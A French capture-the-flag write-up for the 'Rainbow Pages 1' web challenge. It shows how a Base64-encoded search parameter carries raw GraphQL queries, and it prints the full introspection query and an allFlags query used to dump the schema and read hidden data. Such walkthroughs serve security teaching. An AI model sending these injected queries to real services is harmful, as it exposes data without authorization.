Solution de yagamii#2077 pour Rainbow Pages 1

web GraphQL

7 janvier 2024

Description

  • Auteur: haxom
  • Difficulté : ⭐ épreuves faciles

Nous avons développé une plateforme de recherche de cuisiniers. Venez la tester !

Solution

Lorsque l’on soumet le formulaire “Search one chef by firstname”, le paramètre search avec sa valeur encodé en Base64 est envoyé dans une requête GET.

GET /index.php?search=eyBhbGxDb29rcyAoZmlsdGVyOiB7IGZpcnN0bmFtZToge2xpa2U6ICIlYSUifX0pIHsgbm9kZXMgeyBmaXJzdG5hbWUsIGxhc3RuYW1lLCBzcGVjaWFsaXR5LCBwcmljZSB9fX0=

Flag

Voici ce qu’on obtiens après avoir décodé la valeur de search.

{ allCooks (filter: { firstname: {like: "%a%"}}) 
    { 
        nodes { firstname, lastname, speciality, price }
    }
}

Il s’agit de la requête GraphQL qui permet de récupérer la liste des chefs.

🔎 GraphQL Introspection

Je teste une Introspection en envoyant la requête GraphQL ci-dessous (encodée en Base64) comme valeur du parametre Search.

{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
// Base64 encode
e19fc2NoZW1he3F1ZXJ5VHlwZXtuYW1lfW11dGF0aW9uVHlwZXtuYW1lfXN1YnNjcmlwdGlvblR5cGV7bmFtZX10eXBlc3suLi5GdWxsVHlwZX1kaXJlY3RpdmVze25hbWUgZGVzY3JpcHRpb24gbG9jYXRpb25zIGFyZ3N7Li4uSW5wdXRWYWx1ZX19fX1mcmFnbWVudCBGdWxsVHlwZSBvbiBfX1R5cGV7a2luZCBuYW1lIGRlc2NyaXB0aW9uIGZpZWxkcyhpbmNsdWRlRGVwcmVjYXRlZDp0cnVlKXtuYW1lIGRlc2NyaXB0aW9uIGFyZ3N7Li4uSW5wdXRWYWx1ZX10eXBley4uLlR5cGVSZWZ9aXNEZXByZWNhdGVkIGRlcHJlY2F0aW9uUmVhc29ufWlucHV0RmllbGRzey4uLklucHV0VmFsdWV9aW50ZXJmYWNlc3suLi5UeXBlUmVmfWVudW1WYWx1ZXMoaW5jbHVkZURlcHJlY2F0ZWQ6dHJ1ZSl7bmFtZSBkZXNjcmlwdGlvbiBpc0RlcHJlY2F0ZWQgZGVwcmVjYXRpb25SZWFzb259cG9zc2libGVUeXBlc3suLi5UeXBlUmVmfX1mcmFnbWVudCBJbnB1dFZhbHVlIG9uIF9fSW5wdXRWYWx1ZXtuYW1lIGRlc2NyaXB0aW9uIHR5cGV7Li4uVHlwZVJlZn1kZWZhdWx0VmFsdWV9ZnJhZ21lbnQgVHlwZVJlZiBvbiBfX1R5cGV7a2luZCBuYW1lIG9mVHlwZXtraW5kIG5hbWUgb2ZUeXBle2tpbmQgbmFtZSBvZlR5cGV7a2luZCBuYW1lIG9mVHlwZXtraW5kIG5hbWUgb2ZUeXBle2tpbmQgbmFtZSBvZlR5cGV7a2luZCBuYW1lIG9mVHlwZXtraW5kIG5hbWV9fX19fX19fQo=

// GET /search=e19fc2NoZW1he3[...]V9fX19fX19fQo=

Introspection

Cela nous retourne l’intégralité du schéma GraphQL. J’utilise l’outil GraphQL Voyager pour avoir une représentation graphique du schéma.

graphql-voyager

🚩 Lecture du Flag

Dans Query (Liste des requêtes GraphQl définies), on peut voir la requete allFlags qui retourne l’objet Flag. Je prepare ma requete GraphQL, j’encode en base64 et j’envoie.

{ allFlags { nodes { id, flag } } }
# Base64: eyBhbGxGbGFncyB7IG5vZGVzIHsgaWQsIGZsYWcgfSB9IH0=
# GET /?search=eyBhbGxGbGFncyB7IG5vZGVzIHsgaWQsIGZsYWcgfSB9IH0=

Flag